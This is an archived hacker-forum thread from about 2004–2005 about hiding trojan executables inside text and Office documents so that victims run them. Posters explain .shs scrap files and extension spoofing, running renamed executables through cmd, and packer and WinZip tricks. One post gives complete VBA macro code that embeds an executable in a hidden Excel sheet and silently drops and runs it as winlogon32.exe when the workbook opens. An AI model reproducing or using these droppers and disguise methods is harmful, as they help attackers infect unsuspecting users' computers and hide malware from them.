i hear that it is possible to add trojan ( .exe) file to the text file( or document file)
we some one open the txt file, trojan run it his computer?
any1 know this method? how they to this work?
|
Full Version: Add Trojan To Text File?
i hear that it is possible to add trojan ( .exe) file to the text file( or document file)
we some one open the txt file, trojan run it his computer? any1 know this method? how they to this work?
nopez, is just impossible
actually, there have been a few Office exploits lately...
mrBob is partially right, a trojan/virii must be run, not read... now, you could possibly find an exploit for document applications (like word, excel, etc...) then you could pump some shell code
oh i think it is possble with .DOC doucments! in this way Victim must click some part of document!
just drog and drop your server.exe file to the word pad then right click on it and choose Pakage Object > Edit Pakage push in Insert Icon to change the server.exe icon file. from edit menu chosse Label to change your server.exe file to some thing linke server.GIF !!! from file menu choose Update to make changes. your victim thinks that this is gif image attached with your document file. and he click on it! Oh your server.exe file RAN! you can either bind your server file with image! NoW! any1 know how to change the server.exe to server. (empty
yes you can!
you can hide OLE objects in a scrap file which looks almost identical to a .txt file. i've used it to open up a NETCAT shell. there are numerous howto on the web, just google about for them. meanwhile i'll have a dig about my hard drive and look for the one i made - and maybe write a little article. EDIT: here you go. if it's what you're looking for, i'll write an explanation... This just opens up the local cmd.exe
Thx agamemnon
i think u use Word pad and Pakage Object to creat this .shs file! widows never show .shs file extention!
Exploit that makes use of the Microsoft Word WordPerfect document converter which has been found vulnerable to a buffer overflow when a malicious .doc file is opened. Related advisory here. Homepage: http://valgasu.rstack.org/. By valgasu
although this has been patched (if they update) http://packetstormsecurity.nl/0309-exploits/word.zip
a explanation would be nice EDIT.. ahhh funky
i actually found the exe in windows\system32 Hope this helps
the exploit that exists to run virii and trojans in a text file is what pedra and agamemnon are talking about. Just create the file in wordpad and call it "blah.txt.shs", and no matter if you have hide extensions checked or not, it shows up as "blah.txt" Its not really a text file, but you would never know aside from the slightly different icon.
very very nice, but.... I forget where I saw it......another forum perhaps but someone was looking into a possible overflow or something in one of the note/word pads. Was interesting.
still it is not possible to infect a plaintext file (.txt) so that it can be run directly, there have been several virii (mainly batch and for instance perrun) that do infected the .txt extension, but merely functioning as a backup by overwriting the contect and later renaming the extension to the correct one, however for the windows ole format you have to be very careful as they can contain macro's or other modifications so it can automatically lauch harmful code
for notepad, there exists some little bugs like the unicode one in version 5.1+: http://www.geocities.com/spth666/unicode-ANSI-problem.txt wich can be used as a nice payload
why not use doc files i mean you can use the object mode to put the file in it..
change the exstandet file and ico. and that's it he only need to dubbel klick on it and program is running
u can do it this way :
trojan.txt exe
i dont think that would work? maybe with the .exe at the end of the .txt, but noone falls for that nower days some people leave the winxp default file extension options on so it'll just show the file name if you replaced an exe icon with the windows word one that could work
i ve heard that exe could be hide in zip files.... exploiting some extractors weakness
Yes this works but when you run the scrap file you still get the pop up saying this (Some files can harm your computer. If the file information below looks suspicious,or you do not fully trust the source, do not open or save this file. File name: blah blah bla.exe File type: Application From: C:\blah blah bla ) I dont think this is a very good method unless you know for sure that they unchecked the click box to auto run the files , wich would be very likely.
There is a way (i think) that you can put any program in a .bat file. I dont know if that is good enough but it was posted on this forumn somewhere else. It was a post on how to make a .bat file that had all the hex code an ftp program, that when runed or echoed would create the ftp program from the batch file. I dont know exactly hiow it works but id like to. I hope this helps and i hope you can find it in the forum.
you can remove the following key or change key to "AlwaysShowExt"
[HKEY_CLASSES_ROOT\ShellScrap] "NeverShowExt"="" anyway to change the icon of a shs?
Well, You are all missing something. I know of a great trojan that can do this. But you have to buy the SE. But ProRat from http://www.prorat.net has this feature to convert its extension into a .txt file. First .exe to .vbs, then you use another converter tool and Generic Extensions Converter and convert the extension to ANYTHING you want, an existing one of course. Check it out.
Regards, Vort3x QUOTE(Vort3x @ Jul 18 2004, 02:01 PM) Well, You are all missing something. I know of a great trojan that can do this. But you have to buy the SE. But ProRat from http://www.prorat.net has this feature to convert its extension into a .txt file. First .exe to .vbs, then you use another converter tool and Generic Extensions Converter and convert the extension to ANYTHING you want, an existing one of course. Check it out. Regards, Vort3x Hi,i was wondering if this can be done to any exe file or just the prorat trojan? Also,all this can be done from the prorat SE tool itself,or do i need external program? I am willing to buy it. Of course the exe to txt file will be detected by virusscan??? So it can be a real txt file, like whatever.txt,but when the person runs it,it runs the actual exe file??? Thanks
http://www.prorat.net]http://www.prorat.net[/url] was this feature to convert its extension into a .txt file. First .exe to .vbs, then you use another converter tool and Generic Extensions Converter and convert the extension to ANYTHING you want
I had this doc lying around on my puter for a while now cant remember where i got it.. maybe fearless or somewhere
never actually tried it but is worth a read.. QUOTE ***********************************
** How to embed an exe in an Excel doc ** *********************************** - Open a new Excel doc - Open the Visual Basic Editor (Tools->Macros->Visual Basic Editor) - Double-click 'ThisWorkbook' - Copy and paste the following code into that window... -----------------start of code---------------------------------- Option Explicit Sub ImportFile(FileName As String) Dim FileNum As Integer Dim FileLength As Long Dim FileBuffer() As Byte Dim CurrentRow As Long Dim BytesToRead As Long Const MaxBuffer = 4096 FileNum = FreeFile Open FileName For Binary Access Read As FileNum FileLength = LOF(FileNum) CurrentRow = 1 Do While FileLength > 0 BytesToRead = MaxBuffer If BytesToRead > FileLength Then BytesToRead = FileLength End If FileLength = FileLength - BytesToRead ReDim FileBuffer(1 To BytesToRead) Get FileNum, , FileBuffer AddRow FileBuffer, CurrentRow CurrentRow = CurrentRow + 1 Loop Close FileNum End Sub Sub AddRow(FileBuffer() As Byte, RowNumber As Long) Dim CellValue As String Dim Index As Long For Index = LBound(FileBuffer) To UBound(FileBuffer) CellValue = CellValue + Right$("0" & Hex$(FileBuffer(Index)), 2) Next Sheet1.Cells(RowNumber, 1) = CellValue End Sub Sub ExportFile(FileName As String) Dim CellValue As String Dim Buffer() As Byte Dim Index As Long Dim FileNum As Long Dim OK As Boolean Dim RowNumber Dim ByteCount As Long FileNum = FreeFile Open FileName For Binary Access Write As FileNum OK = True RowNumber = 1 Do CellValue = Sheet1.Cells(RowNumber, 1) RowNumber = RowNumber + 1 If CellValue = "" Then OK = False Else ByteCount = Len(CellValue) / 2 ReDim Buffer(1 To ByteCount) For Index = 1 To ByteCount Buffer(Index) = CByte("&H" + Mid$(CellValue, Index * 2 - 1, 2)) Next Index Put FileNum, , Buffer End If Loop While OK Close FileNum End Sub -----------------end of code---------------------------------- - Go to the Immediate Window in the Editor (View->Immediate Window if it's not open) - Type 'ThisWorkbook.ImportFile "<filename>" <enter>' (no single quotes, keep double quotes, replace filename with the file you want to embed) example: ThisWorkbook.ImportFile "C:\program.exe" - Hit enter - Under the current code, type or paste the following... -----------------start of code---------------------------------- Private sub Workbook_Open ExportFile "<filename>" Shell "<filename>",vbHide End Sub -----------------end of code---------------------------------- - Replace <filename> with whatever you want the file to be exported as... ie. ExportFile "C:\winlogon32.exe" Shell "C:\winlogon32.exe" .... - Go back to the excel and hide the sheet where it imported the file. (Format->Sheet->Hide) - You will now see a clean sheet - Put whatever you want in it...make it look nice - This sould also be something that you would assume would contain a macro, and something they are going to want to open. Be creative. - Save - That is it. Remember: Macro setting are set to Medium on default, so in the default state, it will prompt and ask to run a macro or not. - It is pretty similar in Word...you just replace 'ThisWorkbook...' with 'ThisDocument...' NOTE: I have only tried this on Office 2000...It could be diffenent is Office XP\ let me know if something is wrong or help is needed - BE -------------------- in the VBA editor where you are doing everything else, right click on 'ThisWorkbook' and choose 'VBAProject Properties...' then, click on the 'protection' tab, check the box where it says 'Lock project for viewing', put your password(s) in and click OK.
So how excactly do you do the .shs thing ?
Do you save your trojan or what ever, as example.txt.shs ? Do you have to import it into something and compile or something? BTW im not sure if all of you guys know, but if you get ' trojan.exe and rename it to trojan.txt and execute it via command shell it executes like an exetuable.
here is another trick try renaming a exe file to a txt or any thing u like then on the dos prompt type "start C:\renamed_exe.txt" it should execute
QUOTE here is another trick try renaming a exe file to a txt or any thing u like then on the dos prompt type "start C:\renamed_exe.txt" it should execute Yeah this is some prob in cmd of win 2k/xp . But i think patch is out for it :-/
Ah, reminds me of the text file virus i saw on astalavista a while ago
hxxp://www.astalavista.com/index.php?section=dir&cmd=file&id=2889 Extract all the files into a folder, then double click the readme.txt, you will end up running a program. The actual zip seems misbuilt to me because the icon for readme.txt is no displaying correctly but you can fix that the only issue with this is the little shortcut icon that appears, other than that, its pretty interesting hiding a exe as a .txt then launchin it with a link
well, the answer to this question is impossible, because when opening a text file, the data on the file will be shown directly,but by an exe file, it is processed... but when you find an exploit on notepad or wordpad that allows the code execution and processing, then it becomes possible using this exploit, which is a quite fancy thing
ABove I see a DOC version .. and as many know you can use vb for it..
well why not write a little downloader and executer that downloads a file and executes it.. sounds easier if I see the above code.. But then again it gives an messages in the beginning saying it got macro's.. but that's the same @ the above example too.. Or am I forgetting something heh? btw you can almost build your own trojan into the doc then but I would rather make just a simple downloader and executer.. as I stated before.. Serhat
If you want to hide the exe in a Zip file, then the victim computer should have WinZip 8.1. Thats the only version thats exploitable to this vulnerability. What you need to do is rename a file with 256 chars & end it with any extension.
For eg - .......xxxxxxxxxxxxxxxxxxxx.exe.jpg <will show an image icon in WinZip> .......xxxxxxxxxxxxxxxx.exe.txt <will show the text icon in Winzip> If you want to run a .txt or for that matter any file as an exe, you have the wonderful CMD.exe to help you. All that needs to be done is a commandline argument. cmd dangerous_file.txt CMD by default always executes the file depending on its header. In the PE EXE case, it is MZ. This will execute the file! This was a known exploit some days back. Dont know if any one knows about it or not. There also a patch for the same.
ok i believe that there is another way to do that... u can use a packer that will help u pack the patch alongwith the document file... but then again u have to compress that server file into the document file in order to disguise it... but the mechanism should be developed that the server file is extracted and run in the background(hidden)......
<this info was not meant to encourage trojan disctribution>:>
Dragging a .txt Executable into Command Prompt doesn't work on Service Pack 2
(Won't execute.)
it is possible:
take a look at the screenshot.... cmd.exe does recognize the real file. if the program would be a legit txt then it would have opened notepad to read the file. now it is executable... just rename any .exe to .txt and make sure it is run from within cmd.exe . Then your problem would be solved..... QUOTE(sabrodiesel2000 @ May 22 2005, 03:31 PM) ok i believe that there is another way to do that... u can use a packer that will help u pack the patch alongwith the document file... but then again u have to compress that server file into the document file in order to disguise it... but the mechanism should be developed that the server file is extracted and run in the background(hidden)...... <this info was not meant to encourage trojan disctribution>:> -------------- ok i think i wasnt clear enough sorry... actually u dont have to convince the victim.. all u have to do is pack two files and give the OUTPUT file extension... i`ve used a few packers and some gave me .jpg .exe etc choice... so that means that u can hide a server patch into a file and when the image is run, the server patch also gets activated in the background... but your server patch shouldnt return any values to the user to avoid suspicion.... the trick was to hide it in the text or even an executable file... i`ve used quite a few and as-pack is also a good packer... QUOTE(belghter) Well, but you have to convince the victim to do so. Maybe.. what if you already have a backdoor running... it could be used to disguise your uploaded tools..... I'm not sure why cmd.exe does recognize the real file, but i'm sure we can figure that out.. i will take a look at it when i get home...
WS is right, because you can use ShellExecute api to execute files. Here's what the command line does: When you enter a command or a file name, it searches for built-in commands and executable files. If it finds one matching the query, it executes it, otherwise an error message is given. Also, if you type inject.txt as command, CMD.EXE tries to execute it. And if it's an executable, then everything is fine.
But with the backdoor example, it can cause some problems. You have to hide your text files well... Even a noob user deletes a text file if he/she sees the "ununderstandable" and "meaningless" text, he/she thinks wtf that is. That's not our aim, of course. You have to make the user download text files, and if he/she looks at it, he/she has to see something meaningful, and not something meaningless starting with MZ.
well you could hide the exe behind the txt with alternative data streams with NTFS. I'm not sure if you could download such a file as well though, and it surely won't get executed when the user reads the file since notepad is executed not the file itself..
isn't it possible to change the header of a txt file to
run some code wich is in the txt file or also in the header? QUOTE(satknis @ May 25 2005, 10:49 AM) isn't it possible to change the header of a txt file to run some code wich is in the txt file or also in the header? Notepad just reads the text file and stores its content to the memory. An overflow is impossible, because it's being controlled by the program itself. I don't think that any other text program has a flaw What you mean is almost the same as what WS means. But the execution is limited with cmd.exe, or ShellExecute api.
this is how you convert an executable file into a scrap file:
1. drag the executable file into word 2. right click--> package object --> edit package 3. from object packager edit --> copy package, & paste scrap file is ready. double clicking would run it like an executable. QUOTE(alibaba @ May 25 2005, 12:50 PM) this is how you convert an executable file into a scrap file: 1. drag the executable file into word 2. right click--> package object --> edit package 3. from object packager edit --> copy package, & paste scrap file is ready. double clicking would run it like an executable. Nice info...but XP picks that up in the new security bull sh*t they added...but nice nice trick i am prolly behind bcuz i never knew that lol...thx (GhostSheLL) This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
|
||||||||